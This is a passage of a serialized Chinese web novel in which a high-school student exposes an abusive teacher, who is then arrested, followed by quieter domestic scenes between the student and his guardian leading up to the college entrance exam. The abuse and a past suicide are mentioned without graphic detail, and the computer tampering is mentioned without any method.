“我已经报警了,你今天不讲清楚怎么回事,别想离开半步。” “你配当老师吗?” “你自己没有孩子吗?” 那些画面里的学生都打了码,谁也不知道里面有没有自己的孩子。 愤怒让家长失去了理智,不仅砸了电脑,砸了显示屏,甚至校长也没有幸免。 周围乱成一团。 没有人敢向前插手,保安也只能干巴巴的站在一旁。 当然最严重的还是吴海昊,警察来到的时候,他身上已经没有一块好皮肤了。 白衬衫已经成了灰色,脸上也是青一块紫一块,狼狈的没有一点刚才优秀教师的样子。 这次,就算没有人指认他。 他也完了。 傅生垂眸看着台下的闹剧,睫毛倒影在玻璃一样的眼睛上,又在灯光下显出一点稀碎的光。 说不出是什么情绪。 他半晌移开眼,看向身旁的陆离:“你做的?” 陆离嗯了一声,冷着声音说,“既然是见不得光的事,那就将他公之于众。” 一个学生可能拿吴海昊没办法,那一群人呢? 集体,即正义。 他五官隐在灯光下,身上还穿着校服,明明年龄不大,可冷静沉稳的模样看起来让人格外心安。 傅生在这一刻倏然察觉。 无论是处理事情,还是做事风格。 陆离好像真的长成了和他完全不同的个体。 【作者有话说】 这一卷终于完成了,下一卷坐等傅老板掉马。 潜水艇 第0038章 第 38 章 ◎因为你。◎ 警察很快受理了这件事。 但是吴海昊对于罪行全部否认, 因为那些视频中,没有他自己。 警察将视频拉过来,沉着脸对着他质问:“十一月份之前, 所有的视频地点在英雄中学所在的一个小区, 租房的主人是你。” 他说着, 又将手在电脑上点了点。 “十一月份之后, 这四段视频地点是你现在所住的地方。你能解释一下, 这是为什么吗?” 吴海昊眼镜碎了半边,歪歪斜斜的挂在脸上,头发也被人揪的像是冬日的杂草。 但不知道是不是因为那股子恐惧劲已经过去了,他坐在审讯室里很是淡定地说:“我也不知道,你去问问视频中的那些人啊, 问我做什么?” “老实点,吴海昊, ”警察重重地敲了敲桌子, “你不知道都在你家?” “他们来我家,我出去买东西招待他们这不合理?”吴海昊说,“至于我走之后, 他们做什么, 是我逼他们这么做的吗?况且, 你们怎么知道那些学生不是自愿的?” “你他妈说的还是人话吗?”一个警察终于忍不了了,起身拿着证物袋里学生的证件照片摔在桌子上, “这些你要怎么解释?拿学生照片做什么, 还有这上面的编号都是什么?兔子对应的单主又是什么?” 吴海昊只是随意地瞥了一眼:“我作为老师留点学生的照片作纪念不行吗?兔子当然就是兔子了。” 当时的监控还不发达,视频上的那些老男人全都看不见脸, 只有学生的脸可以清晰可见。 学生家长为了自己孩子以后的发展, 没有一个愿意出来做证。 吴海昊也是认清了这一点。 等他扛过去这段时间, 顶多就是没有办法在学校里教书了。 那又有什么关系。 只是他唯一搞不懂的一点是,电脑怎么会突然失控。 不可能是偶然。 所以最大的可能就是他被别人算计了。 会是谁呢。 吴海昊捏着手指想的时候,脑子里浮现出一张冷淡的脸。 陆离。 他那天看自己的眼神,还有突然出现的李学波那群蠢蛋。 就是他。 吴海昊捏紧了手指。 等他出去,等他出去一定弄死这个小混蛋。 就在他思索的时候,审讯室的门被叩了几下,一名警察站在门口,对着审讯的警察说了几句。 “做证?那个学生来了?” “没有,不过另一个学生送过来一个u盘。” 吴海昊瞬间有一种不好的预感,他看着负责审讯的警察打开了门,他眯着眼睛瞥了一眼。 陆离站在外面的走廊里,穿着校服,黑黝黝的眼神瞥他一眼。 又是他! 吴海昊眼神阴冷地看着陆离,却见门口的少年唇角微勾,对着他露出个笑。 不是平常的笑,而是一种讥笑。 他眼皮很薄,直凌凌地看着人,然后在审讯室外,对着他无声的比了一个口型。 “你-完-了。” 吴海昊愣住了,竟然生出一种恐慌。 审讯又开始的时候。 他看着刚才那个跳脚的警察,在电脑上插了个东西,电脑中的视频画面被截取出来。 正中央正是他自己的脸,他手中握着的肩膀,是一个十二岁的男生。 “吴海昊,现在正式以□□未成年罪逮捕你,”警察冷着声音:“还有要说的吗?” 陆离出警察局门的时候,女警将他送了出来。 她眼睛在外面打量了一圈,问道:“你怎么回去?要不要我找个同事送你回去?” 陆离眼睛落在了对面。 对面停着一辆车,傅生穿着黑色长衣靠在车门上,抬头的时候,刚好看见陆离出来,他弯了弯眼睛。 “不用,”陆离对女警说:“有人来接我了。” 他朝着傅生走过去,傅生说:“都解决完了?” 陆离:“嗯。” 傅生笑了一下:“那回家。” “啊,我靠!”蒋文坐在饭桌上,现在听到这件事的来龙去脉,“你们学校怎么请了这样的一个老师?” 陆离看了蒋文一眼,“你去问问校长。” 蒋文被噎了一下。 却又无从反驳。 傅生看着他:“你后来又去了英雄中学那边?” 陆离点头。 吴海昊在英雄中学那件事当时其实闹得挺大的。 他一直教初中部生物, 某天,把一个十二岁的男生带回了宿舍,说是补课。 那个男生长得很白,性格也很软,原本以为是个好欺负的主,结果没料到有个强势的父母。 他妈妈在给他洗澡的时候,发现了内裤上的血迹,再三逼问之下,男生说出了实情。 男孩的母亲对此怒不可遏,直接进了学校,上去就给了吴海昊两个耳光。 吴海昊当时被打懵了,直到看见身后的男生,瞬间明白了怎么回事。 这件事被捅到了校长那里,家长原本是要报警的,但校长怕影响自己学校的名声,用男生之后的前途和保送资格做引,这才没捅到警察那里。 只是那所学校,吴海昊却是留不住了,之后被分配到了他们这里。 “英雄中学的校长也不是什么好东西,为了名誉就能把这么个人渣推给别人?”蒋文听完以后,骂了一句脏话,又想起来什么,问道,“那个妈妈竟然同意来做证?” “不是,”陆离说,“是那个男学生自愿要来的。” 蒋文愣了一下:“他妈妈也同意了?” 陆离嗯了一声。 男生的妈妈后来就后悔了,当时没有去警察局报案。 自从那件事之后,他发现自己的孩子肉眼可见的消沉下去。 甚至门都不敢出,每天把自己关在房间里。 直到陆离去了他家。 他妈妈刚开始是拒绝的,后来那个男生自己在房间里出来了,跟他妈妈说了句:“我愿意去。我想在里面走出来。” 他妈妈愣了一会,抱着人哭了。 好久她哽咽地说:“行,妈妈陪你去。” 其实陆离一开始,没有想带着人去做证,只是想问问有没有可以直接指证吴海昊的证据。 不过现在也是最好的情况。 陆离在回忆里回过神来,蒋文在忙着骂娘,他的目光落在旁边的傅生身上。 他垂着眼睛,像是在看自己的手指,又像是在思考什么事。 蒋文拿着筷子在他面前晃了几下。 “想什么呢?” 傅生抬头看了他一眼,又看向陆离:“你在吴海昊电脑上做手脚操作这么熟练,是跟谁学的?” 陆离看向旁边的蒋文。 蒋文在旁边邀功地说:“当然是我,轻松解决,这种不是最简单的电脑操作吗?” “教唆刚成年的孩子干这个,”傅生撩着眼皮,“你的良心呢?” 蒋文:“” 这个黑心老板,刚才不可不是这么说的。他在心里骂了一句,倏然又想起什么。 “不对,傅生,你是不是早就知道那个混蛋人这么畜生?” 傅生捻了一下手指,收回目光看着他:“我是神仙?” 蒋文说:“那你那天听见陆离在那个混蛋那里补课,怎么这么着急?” “着急?”傅生看着他,“你哪只眼睛看到的?” 我两只眼睛都看到了,蒋文心说。 他看向陆离:“小鬼你说,傅生那天是不是状态很不——” 他还没说完,嘴里就被塞了个东西,傅生放下筷子:“吃饭的时候不讲话。没人告诉过你?” 蒋文含糊不清地说了几句。 傅生没听清也没理他,抽过旁边的湿巾,慢条斯理地擦了下手,转身上了楼。 蒋文将嘴里的东西咽下去,接着看向陆离:“你看看你哥,吃个饭连话都不让说了。” 陆离看了他一眼,什么话都没说,也转身走了。 “不是,你们两个又这样,”只留下蒋文一个人在客厅里哀号,“这日子没法过了。” 二楼有个很大的天台,中间种着一棵树,树下有个躺椅,躺椅旁边有个支起来喝茶的小桌子。 傅生白天在院子里躺,晚上吃完饭,睡觉之前会坐在这里躺一会儿。 傍晚的时候下起了小雨,雨声滴在天台上方的玻璃上。 雨声杂乱,却不吵人。 傅生坐在躺椅上,静静地听着雨。 吴海昊被抓,他其实心里并没有太大的感觉。 如果十年前也是这种结局,十七八岁时候的他可能会很高兴。 又或者是因为过去的时间太长了,当时的疼痛已经被岁月掩盖,在命运的洪流中,再也引不了任何波动。 身后传来脚步声。 傅生不用回头就知道是谁。 “作业写完了?”他头也不回地问。 陆离在他旁边坐下,“没有。” “没有写完你跟我来这,”傅生没好气地看向他,“是想让我给你写,还是让我监督着你写。” 陆离早就习惯了傅生的说话方式,他坐了一会,突然问道:“你上次——为什么不愿意让我住校。” 傅生似乎没有想到陆离会问出这个问题,愣了一下。 半晌,他半开玩笑地将问题又抛了回去:“那你为什么非要住校。” 陆离动了动唇。 若是平时,对于这种不好好回答问题的人,他可能转身就走。 但是今天,他没有动,只是抬眸看着躺椅上的人。 傅生向来讲究,领口的衬衫纽扣没有扣严,露出里面异常白的皮肤和半隐半现的锁骨,他躺在椅子上,手随意地搭着,半垂的眸光映在窗外的雨里。 陆离心里倏然像是被什么掐了一下。 “因为你。” 他听见自己微冷的嗓音在杂乱的雨中开口。 傅生手指小幅度地动了一下。 安静了几秒,傅生弯着眼睛开口:“小没良心的,我怎么你了?” 他的声音和平时一样,像是只是开个玩笑,陆离却将目光落在他抓着躺椅扶手的手指上。 那双好看的手,此时手筋紧绷着,似乎是在紧张他说出什么。 陆离垂了一下眼睛,再抬头的时候,恢复得冷淡的目光,凉凉地开口道:“怕被气死。” 傅生手指一松,笑了一下。 “睁着眼说瞎话的本领跟着谁学的?你倒是说说,我哪里气你了?” 陆离看了他一眼,似乎不想和他说话,转身下了楼。 脚步声渐渐离开,傅生收回目光,看着玻璃上凌乱的雨滴,出了会神。 因为吴海昊的事,学校里不得安宁已经好几天。 各科老师忙着开会,应付媒体和记者,根本没有时间管这群学生。 这就导致教室里,成了一群猴子的天下。 李学波正激昂澎湃地在教室给班里女同学讲那天他们怎么骗过吴海昊,又怎么耍的吴海昊团团转的。 “李学波,你又吹牛。” 女同学笑着看着他说。 李学波急了,指了指旁边的陆离:“不信你问问陆学霸,这个坏蛋能被抓起来,陆哥的功劳最大。” 陆离对于掺和这些事没有兴趣,头都没抬。 “学霸不想理你,哈哈哈哈。” “学霸被你吹牛吓到了。” 李学波抓了抓头发,咳嗽了一声,拉过旁边的长江:“不信你们问长江,长江也跟着去了。” 长江长得高又壮,唯一的缺点就是对着女生说不出话来。 何况现在全班女生的目光都聚在他身上。 他挠一下头,嘿嘿笑一声。挠一下头,又嘿嘿笑一声。 李学波:“……” 算了,都指望不上。 他放弃了。 几个女生笑作一团。 吴海昊在社会上引起的反响很大,但在学校也就是学生随便聊过去的笑料。 很快几个人就换了话题聊。 “我们是不是距离高考很近了?” “现在是三月份,六月份考试,不到100天吧。” “这也太快了,我的学生时代就要过去了。” 几个女生聊着聊着,突然有些唏嘘,她拿着手机,倏然哎了一声,“咱班的微信我好像还不全,毕业之后就联系不到了,咱们加个微信吧。” 因为没有老师。 班里学生就直接将手机拿出来,挨个添加。 最后有几个人捅了捅李学波,朝着陆离示意。 李学波咳咳咳嗽了两声,看向陆离,小心翼翼地开口:“陆哥,快毕业了,同学们要加你微信加不加?” 陆离看他一眼。 李学波被这一眼看得有点犯怵:“不加也——行。” 行字还没有说完,他就看着陆离将手机摆在桌子上。 学生争先恐后地加上了微信。 一个女生在旁边坐着,突然说:“哎?学霸的微信头像——” 陆离的微信头像是个句号,刚注册的时候什么样,现在就什么样。 微信对他来说,就是个通信工具,所以一直没换。 李学波说:“陆哥头像从我加上他,就一直是这个。” 那个女生又道:“这个头像据说会挡桃花。句号代表着结束,对于桃花运不好,你在意的人也不会经常找你聊天。” “都不用头像挡。你看我哥的脸,就一副生人勿近的样,” 李学波在一旁哈哈笑,“你看陆哥在乎吗?” “不在乎那没事了,”这个女生平时信一些塔罗牌之类的,“我朋友也换过一个和这个差不多的头像,然后跟暗恋的人表白,你猜对方说他什么?” 李学波:“什么?” 女生:“说他和他的头像一样无趣哈哈哈哈,笑死我了。” 陆离原本在做题,听到这里手顿了一下。 晚上回到家,陆离躺在床上。 他微信的置顶是傅生。 傅生的头像也很简单,是个半圆的月亮,后面是黑色的背景。 陆离看了一会,又看了看自己头像上单一的句号。 默默打开百度。 傅生站在窗口,和傅老爷子通着电话。 他们有一段时间没有回去了,年纪大的人有什么事嘴上不说,却喜欢找借口。 什么院子里的梅花竟然开了两种颜色,张阿姨又研究出了新菜。 傅生听着傅老爷子絮絮叨叨地,也没有点破,只缓声说明天回去看看。 傅老爷子高兴了,临挂电话的时候嘱咐了好几句:“别忘了带上小陆过来,好久没见小陆了。” 陆离不爱说话,去老宅子那边,一天到晚也说不了一句话。 但是出了奇的讨傅老爷子喜欢。 傅生答应下来,挂了电话,打开手机,刚想和陆离交代一声明天放学早回家。 却看见这个高冷的句号摇身一变,头像成了一只橘黄色伸着爪子抓蝴蝶的动漫小胖猫。 傅生想了想陆离顶着雪白的冷脸用这个头像聊天的情形,胸口像是被猫尾巴扫了一下。 他本就喜欢逗人,弯着眼睛打字发了过去。 傅生:[家里长猫了?] 傅生:[会挠人么?挠一下我看看。] 陆离在隔壁看到消息的第一个反应就是瘫下来脸。 不会。 滚。 再然后打字回消息的时候,他怔愣了几秒。 头像玄学似乎真的有点用。 第0039章 第 39 章 第二天刚到学校, 李学波就稀奇地看着陆离:“陆哥,你这个万年句号,怎么突然换头像了?” 还换的这么软萌的, 不过他没敢说。 陆离看他一眼, 脸上的冷气挡都挡不住, 还是很明显:要死还是要活。 李学波很明显的感受到了杀气, 干笑了一声, 做了一个封嘴动作。 长江却不是个会看脸色的,在旁边道:“我知道我知道,陆哥肯定是嫌之前那个挡桃花。” 说完,他又顶着那张黑皮体育生的脸看向陆离,一脸无辜地看向陆离。 “陆哥你喜欢哪个?喜欢哪个直接说, 不用暗戳戳的搞暗恋,就你这张脸, 想拿个什么样的拿不下来。” 陆离的冷气在脸上可能装不下了。 李学波怕城门失火, 当即虚给了长江一拳,勾着人的脖子说:“你说说你是不是犯二。陆哥你也打趣?嫌今天不够冷?” “咳咳咳,”长江被一个锁喉, 咳嗽了几声, “我就问问。我错了。” 陆离扫了他们一眼。 倏然想了昨天晚上。 当时傅生见他没有回消息, 直接敲了他旁边玻璃。 陆离躺在床上不动,不想理人。 傅生笑的声音从隔壁传过来:“连灯都没关, 就别装睡了。” 半晌, 陆离闷着声音,小声嘀咕了一句说:“关你屁事。” 傅生丝毫不生气, 反而笑着道:“行了, 我错了, 不该说你猫爪子挠人。明天放学早回来一会?” 他说话声音总是慢条斯理的,在黑夜里显得格外温凉好听,陆离听了一会,半晌起身,推开窗户。 “去干什么?” 傅生愣了一会,声音在风里传了过来:“陪我回个家。” 陆离其实能看出来,傅生和老宅那边的关系,也不能说不好。傅老爷子很在乎这个孙子,只有傅生像是偏离在那个家之外,像是跟谁都不亲近。 就算是对蒋文,也像是隔着什么。 但傅生没有说跟着他回去,或者带着他回去。 说的是“陪”,陆离在里面品出一点更隐私地亲来。 他的眼睛很眨了一下,须臾嗯了一声。 然后就隔壁那个人笑了一声,透过中间被推开的玻璃,看着他说:“消气了不饶人了?” 谁挠人? 陆离冷着脸,在傅生打趣的眼神中,“砰”的一声关上了窗户。 …… “陆哥!陆哥!”李学波在旁边喊他,他这个人有个毛病,喊起人来,得不到回复就一直喊。 陆离回过神来,皱眉看他一眼:“说。” 李学波说:“今天晚上去不去聚餐?和黑狗他们,。” 黑狗是隔壁班的,经常在一起上体育课,才两次李学波就跟人混熟了,后来就开始了狐朋狗友。 “没空。”陆离说。 李学波说:“你今天有事?” 陆离嗯了一声。 他晚上要陪某人回家。 晚上,蒋文又借口偷懒留在了古董店。 傅生看他一眼,也没再说什么。 蒋文其实不是天生的孤儿,只是后来被送了人。 送养的人家不能说对他差,却也只是想要个孩子养老。 后来,那家人自己又生了一个,对待两个人的态度就逐渐出来了。 毕竟亲生儿子和收养来的儿子肯定是有差距的,蒋文知道这个道理,也不怪他们,就自己走了。 再后来,他就一直以孤儿自居。 可能看到这种看到一家人坐在一起的场合,多少会让他想起来以前,所以很少参与这种场合。 就算是新年,也喜欢一个人去外面过。 傅生临走之前,看了他一眼:“既然不想去,那就待在家里。不过里面的东西要是丢了,就从你工资里扣。” “你快走吧傅老板,”蒋文带着几分苦脸说,“你在这里多待一秒,就多耽误我摸鱼一秒,作为老板得和员工保持距离知不知道。” 傅生冷哼一声,喊了陆离下楼,转身出去。 等他们上了车,蒋文在身后喊:“有好吃的好玩的多给我带回来点。” 一只瘦长好看的手在车窗户里伸出来,比了一个ok的手势。 蒋文一看就知道肯定不是傅生,这家伙说人话可不容易。 向上再看,果然是陆离顶着一张冷脸,朝着他面无表情地比着手势。 蒋文当即就笑喷了。 竟然看出了几份诡异的可爱。 此时车子没有启动,陆离和傅生都坐走后排,傍晚的光线暗,只能看到车内人模糊的轮廓。 有那么一瞬间,在某个角度,两个人的光影重合了一瞬,让他觉得其实是同一个人。 这个想法让蒋文快速地摇了摇头。 一个笑脸怼人精,一个冷脸制造机。 自己疯了才有这个想法。 傅老爷子看到两个人来,眼尾很深的弯下去,当即就堆起了笑脸。 傅生不喜欢人碰他知道,傅老爷子目光就落在陆离身上。 他先是抓着陆离左右看了一圈,嘴里嘟囔道:“高三很累吧,你看人都瘦了。最近没好好吃饭吧。” 老年人都喜欢看见小辈说这句话,也没别的意思,就是没话找点话。 陆离不知道怎么回,瘫着脸看向傅生。 傅生真的似的看了一圈,也附和道:“是瘦了。” 傅老爷子说:“是吧。” 傅生道:“那下次养胖点再给你带来。” 两个人一说一和,陆离的脸更瘫了。 但是有长辈在场,他又不好直接转身就走,偏偏傅生又专看他笑话似的:“别瞪我,老爷子说的。” 陆离嘴角绷直。 傅老爷子看着两个人,笑了几声:“行了,你兄弟俩快吵了,外面冷先进屋。” 他拄着拐棍转身,一边走一边回忆似的对着陆离说:“你看看,要是傅生小时候也像你这么可爱就好了。” 全程瘫着脸,不知道哪里可爱了的陆离:“???” 可能知道傅家二叔招人烦,傅老爷子已经很久没有叫过他了。 傅宅暖气很足,张婶张罗了一桌子的饭菜,陆离吃东西吃的不多,但他夹在中间,两边长辈却拼命给他夹菜。 傅生抱着胳膊坐在对面弯着眼睛看他,看戏一样。 陆离面无表情忍了片刻,最后实在忍不住周围的热情,钻进了傅生之前住的房间里。 这个房间的装饰风格和傅生现在完全不同,甚至到了雷劈了都劈不到一起的程度。 他垂着眼睛看了一圈。 桌子上摆着兔子玩偶,旁边是一家人合照,穿着西装和白裙子的女人,中间站着缩小版的傅生。 他凑近了看了一眼,照片中的小孩穿着英伦小西装,本来是很酷的装扮,只是表情带着害羞和怯弱,手还紧紧地抱着他妈妈的袖子。 “那是他四岁的时候。” 陆离正看着,身后传来一道苍老唏嘘的声音。 傅老爷子走过来,眼睛落在桌子上的照片上,发黄的眼珠像是蒙着一层薄薄的膜。 “四岁?”陆离皱眉。 不知道为什么,他看着照片中的人和现在的傅生,总是连不在一起。 像是完全分裂的两个人。 傅老爷子叹了一口气:“很不一样是吧?” 陆离点头嗯了一声。 “确实变化太多了,”傅老爷子拿起相框,擦了擦上面不存在灰尘,“傅生小时候胆子很小,很黏人。” 陆离目光落在照片中小男孩紧紧抓着妈妈的手上:“看出来了。” “照片上的这一张,已经算是最不黏人的一张了。”傅老爷子起身走了几步,在旁边的柜子里拿出来一个相册。 他拿着相册递给陆离。 “从小到大的照片都在这里了。不过后来,他母亲去世之后,傅生就很少照了,怎么哄也没办法。” 陆离垂眸看了一眼,伸手从那双年迈的手中接了过去。 相册被收藏得很好,像是新的一样,里面还被细心地标了年份,从一岁,到十岁,每一岁都有。 陆离一张张地看过去,从笑着的,到哭着的,再到撒娇帅耍脾气的,像是能从这些被定格的岁月中,窥见那个小男孩童年的冰山一角。 但……但这真的是傅生吗? “当年……”陆离抬头看向傅老爷子,却又觉得在揭人伤疤,所以止了声。 “没关系,时间这么久了,足够盖掉一些疤痕,”傅老爷子知道他想问什么,“那年因为生意上的事,傅生的爸妈出海,原本是想带着他去的,但我想着这么小孩子受不了那个罪就没让。谁知道后来船就出事,两个人同时遭了海难,傅生那时候在家里等着他妈妈答应给他买的生日礼物。” “我知道这个孩子是记恨我的,他说原本可以陪着他妈妈一起,也比现在好活,那段时间,他整个人阴郁没有一点活气,各种自杀手段都用过,是我拉着不许。 他问我为什么不许他死。他又为什么不能死。 我知道这孩子很痛苦,可我怎么能眼睁睁看着一个活生生的人这样消失在我面前。” 陆离静静地听着没说话。 傅老爷子手里捏了照片好久了。好半晌说:“啊,你看我给你说这些做什么呢?不过傅生现在能走出来,我还是很高兴的。” 他说着的时候,走廊响起脚步声。 刚才故事里的人从门口走进来。 陆离看了一眼,见他眉眼含笑,完全看不见小时候怯弱害羞。 傅生看了看房间的两人,目光落在陆离得身上:“背后说我什么坏话呢?” 陆离看着他,“你做什么坏事了,怕人背后说。” 傅生弯着眼睛笑了一下:“那可多了。” 陆离面无表情,只是看着他。 “你们两个先聊,这人上了年纪精力就跟不上了。” 傅老爷子看着两个人的相处笑了一下,“我下去看看张嫂收拾完了吗,让他帮你们拿些水果,走的时候装着。” 他慢吞吞地下了楼。 陆离听着没了声音,才将相册打开摊在傅生面前:“是你小时候拍的?” 傅生垂眸看了须臾就转开了眸子。 “是吧。” 陆离皱了一下眉:“什么叫是吧?” 傅生看着人静了片刻,笑了一下:“在学校学习也喜欢这么刨根问底?” 又要这样转开话题,陆离看着他,黝黑的眸子一动不动的。 傅生被那双眼睛看地无奈,叹了一口气说:“忘记了。” 陆离眉心颦的更深了。 一个人就算再怎么失忆,看到自己以前的照片总会有点好奇,可偏偏傅生的眼睛里什么都没有,像是看一个陌生人。 “别皱眉了,”傅生看着他的手,“就这么喜欢我小时候的照片,抱着不放?” 陆离冷哼一声,抬手将相册放回了抽屉里。他知道不应该多问,但是没忍住:“真的不记得以前的事了吗?” 傅生看向他,语气轻淡:“怎么这样问?” 陆离也不知道自己为什么这么问,伸手捻了一下耳朵,“没什么,什么时候回家?” “现在就能回,”傅生眼睛在照片前移开,“困了?” 陆离没滋没味地嗯了一声。 那天的事就像一个插曲,后来没有再提,陆离却记在心里。 他记得傅老爷子说的,傅生黏人又胆小,可某人肆意妄为又处处对人疏远。 他记得傅老爷子说,傅生对毛茸茸的动物没有抵抗力,可某人看什么都是一个样子。 冷淡的,无情的,脱离世外的。 不过,陆离只是偶尔想想。 过完年的日子过得飞快,班主任老于在黑板上写的距离高考还有100天已经被擦了无数遍。 上面的数字抹掉又被添上,像是被快速地翻转的牌子,逐渐从100逐渐成了1。 班里氛围也越来越压抑,就连李学波都闭了嘴。 “我这个题型的题还没吃透怎么办?” “今年语文作文班主任压的是什么类型来着?” “我靠这个物理化学题,真的是人做的吗?” 考试前一天,各科老师该嘱咐的都嘱咐完了,没有人再讲课做题,也没有人再催作业学习。 只有学生低头忙着多学一点是一点。 这么多年的成果,就靠这一场考试。 在学生们紧张的哀号中,班主任拿着一个袋子进了屋。 “老师你拿的什么?”李学波眼尖的问。 其实学生都知道这是什么,只是走个流程。 “小兔崽子,明知故问是吧,”班主任看了一圈教室里的人,“来,咱们北川高三的传统。” 他朝着后面的长江挥了挥手,长江搬了一个纸箱子进来。 “那我就再简单介绍一下,”老于说,“咱们班有五十八个人,里面有五十八张纸条,其中五十七都是空白的。只有一个写了一个福字。你们排好队,一个一个来抽。” 说是抽福,其实也是为了给班里的紧绷的学生放松一下。 学生们排好队,一个接一个去抽箱子里的纸条。 老于在讲台上喊:“都抽到了吗?” “抽了。” “既然都抽了,就打开看啊,”老于说,“你们看我干什么,我脸上又没有。” 全班学生笑了一声。 李学波双手合十,抱着纸条祈祷:“福!福!我要那个最大最甜的橘子。” 他打开之后,先是哀号一声,接着又趴到桌子上。 陆离看了他一眼。 “陆哥你的是什么。” 李学波坐起来,凑过来,一起看着陆离手里的纸条。 陆离垂着眸子,面无表情的将纸条打开。 在李学波紧张的呼吸声中,先是露出一个角,接着里面的福字露了出来。 “我靠!”李学波惊喜地喊了一声:“陆哥抽到了。” 周围还没有打开纸条的学生集体叹了一口气。 “那我们还看什么。啊,没戏了。” “我就知道这种运气轮不到我。” “果然还是运气不好啊,明天高考能不能转运啊。” 老于走过来,拍了拍他的肩膀:“运气不错啊,小子。” 他走上讲台,将袋子里一个贴着小福字长得很是周正的橘子拿下来,放在陆离桌子上。 “今年的福橘是你的了,”老于很是心疼地,没好气地说,“对它好点,这一个就花了我快三十块钱,自掏腰包买的。” 陆离目光在橘子上看了一眼。 班里人被老于的话逗笑了,又因为自己没有哀号起来。 老于看着下面的这群小兔崽子说:“行了,你们也别嚎了,虽然没有福橘,但老师给你们买了其他的橘子一人一个,班长,给每个人都分分。” 这话一出,班里的氛围又活跃起来。 “老于你真棒!” “不愧是我们的男神!” 老于笑了:“就知道嘴贫,这么感谢我,这次都考个好成绩,让我高兴高兴。” “我的,我的,给我留一个。”李学波眼睛冒光在袋子拿了一个,迫不及待地就扒了皮向嘴里送。 他边吃边看向陆离:“陆哥你怎么不吃?” 陆离垂了下眸子,看了眼讲台前的钟表,问道:“第二节课间是多长时间?” 李学波将橘子瓣塞进嘴里:“二十分钟。” 说完,他又疑惑道:“你干什么去?” …… 古董店的阳光一到夏天总是很充足,尤其是院子里。 但是院子里最佳乘凉位置被人占了,苦命的蒋文只能将那些不经晒的植物都搬到了房檐底下。 傅生坐在躺椅上,冬天就不爱动,夏天天气热,就更不爱动了。 他拿把扇子盖在脸上,挡着从大树枝叶间露出来的光。 “明天就高考了,你怎么一点都不担心?”蒋文看了一眼躺椅上悠哉的某人,连续翻了好几个白眼,“就连傅老爷子都打了好几个电话问了,还嘱咐我这两天做饭一定要注意。” 傅生看了他一眼:“与其担心陆离,不如担心这些花你什么时候搬完。若是晒死了,在你工资里扣。” “扣扣扣,就知道扣,”蒋文将一盆花放下,瞪着傅生小声嘀咕,“万恶的资本,黑心老板。” “我听见了,”傅生动都没动,只道,“咒骂老板,工资扣200。” 蒋文:“” 到底什么时候来个人,把这个黑心的收了。 这时,一阵跑步声出现在院子外的巷子里。 蒋文原本以为是来的顾客,抬头一看惊奇道:“陆离?你怎么这个点回来了?” 傅生愣了一下。 将头顶的扇子移开,抬头看了过去,果然见陆离站在店门口。 他穿着夏天的校服,胸口微微起伏,冷白的额头上起了一层细密的汗,沾湿了少年额前额碎发,那双乌黑的眼睛,正眸眼带光的看着他。 “跑这么快做什么?”傅生问。 他半坐起身,刚想站起来,却见陆离从怀里掏出什么,接着抬手朝着他扔过来:“接着。” “什么?”傅生下意识一看,是个黄灿灿的橘子。 “你回来——”他有些疑惑地开口。 只是话还没说完,却见陆离已经转身跑了出去,冷调的声音散在巷子口的风里,“我回去上课了。” 傅生低头看了看橘子,又看了看巷子里挺拔瘦高的背影,怔愣了好久。 蒋文在旁边吃味:“偏心的小鬼,我怎么没有。” 傅生抬眼:“这橘子有什么说法吗?” 跑这么远给他送来。 蒋文低头看着傅生疑惑的模样:“不是,你真不知道还是假不知道?” 傅生看向他:“真不知道。” “你高三不是在这边上的?”蒋文惊奇地说,“这是北川这边的福橘,高考前一天的幸运儿才有,吃这个橘子表示会被幸运之神眷顾,是难得的东西。” 说完他啧了几声:“这小子平日里没大没小的,对你是真好,这种东西我们发下来都是直接在学校里吃了,这么热的天,他竟然给你专门送回来。” 傅生听完,垂眸看着手里的橘子,手指蜷缩了一下。 课间也就二十分钟,跑了满身汗,只是为了给他送这个橘子。 说不出是什么情绪,只是觉得心里被什么很轻地掐了一下。 蒋文凑过来,看着橘子说:“不过送都送来了,剥开吃了,也分我点。” 傅生起身,看了他一眼,“想吃自己去买。” 蒋文撇了撇嘴:“小气。” 晚上,陆离把明天考试要用的东西刚整理完,就听见门被敲了几下。 傅生站在门口看着他:“收拾好了吗?” 陆离嗯了一声。 “紧张吗?”傅生又问。 陆离对于高考其实没有太大的感觉,他刚想说不,但是看着傅生,话都嘴边又咽下去,冷着声说:“嗯。” 傅生笑了一下:“我怎么没看出来你紧张?” 陆离说:“那要吓哭才叫紧张吗?” 傅生嘴角的弧度更大了,曲着手指虚点在鼻间上笑了半晌,“那你哭一个我看看。” 陆离觑他一眼,冷着脸就要关门。 傅生在门口挡了一下,问道:“不逗你了,下午——” 他一顿,又接着说:“怎么想起来给我送那个橘子?” 陆离板着脸说:“不喜欢吃。” “是吗?”傅生看着他,眸光落在陆离泛红的耳尖上,眸子里浮现出笑意,“我记得平时你挺喜欢吃的。况且——” “真不喜欢吃,这么热的天给我送回来?” 陆离被说中了心思,有些恼羞,冷着脸说:“还有事?没有我睡了。” 说着就转身向屋里走。 “小鬼。”傅生却在身后喊了他一声。 “还有什么——” 陆离回头话还没说完,错不及防间,嘴边被塞了一个带着轻微凉意的东西。 他低头一看,是那个被剥好的福橘,还有微凉的指尖。 他的舌尖刚好抵在细长的指尖上,陆离怔了一下。 可能对方也没有想到,有一瞬间错愕,很快就不动声色的拿开了手指。 陆离静默片刻才垂下眸,橘子的甜意在嘴里化开。 再抬头时,傅生是笑着的,眸子在灯光下像是含着细微的光。 他说:“虽然知道用不到,但还是要说一句,陆离,高考顺利。” 第0040章 第 40 章 ◎只有恋人,才能做这么亲密的事◎ 陆离醒来的时候, 天刚蒙蒙亮,楼下出现了细微的动静。 他床上躺了几秒,起来洗刷, 又将书包里的东西检查了一遍才下了楼。 傅生竟然早就在沙发上坐着了, 看样子起来有一段时间了。 可能因为起得早, 他的眼皮懒散垂着, 头发垂落下来几根, 刚好落在眼皮上。 “起来了?”听到动静,傅生抬头看向他。 陆离的目光在那张脸上移开,点了点头。蒋文在厨房里探出头来喊:“是不是陆离下来了。” 陆离“嗯”了一声。 “稍等一会,”蒋文在厨房里噼雳乒乓了一会,接着端出来一个盘子, 上面有一根油条,两个荷包蛋, 还有一杯子牛奶。 陆离看着蒋文一样样摆下来, 脸上表情有些复杂。 “别瘫着脸啊,”蒋文老妈子一样说,“这意思是让你科科考一百的意思, 讨个彩头。” 陆离:“……” 他刚想转身走, 却被蒋文一下按下去:“快吃啊, 我看着你吃。” 陆离将目光落在傅生身上,傅生笑着一摊手:“别看我, 我也拦不住。” 蒋文说:“这有什么好拦的, 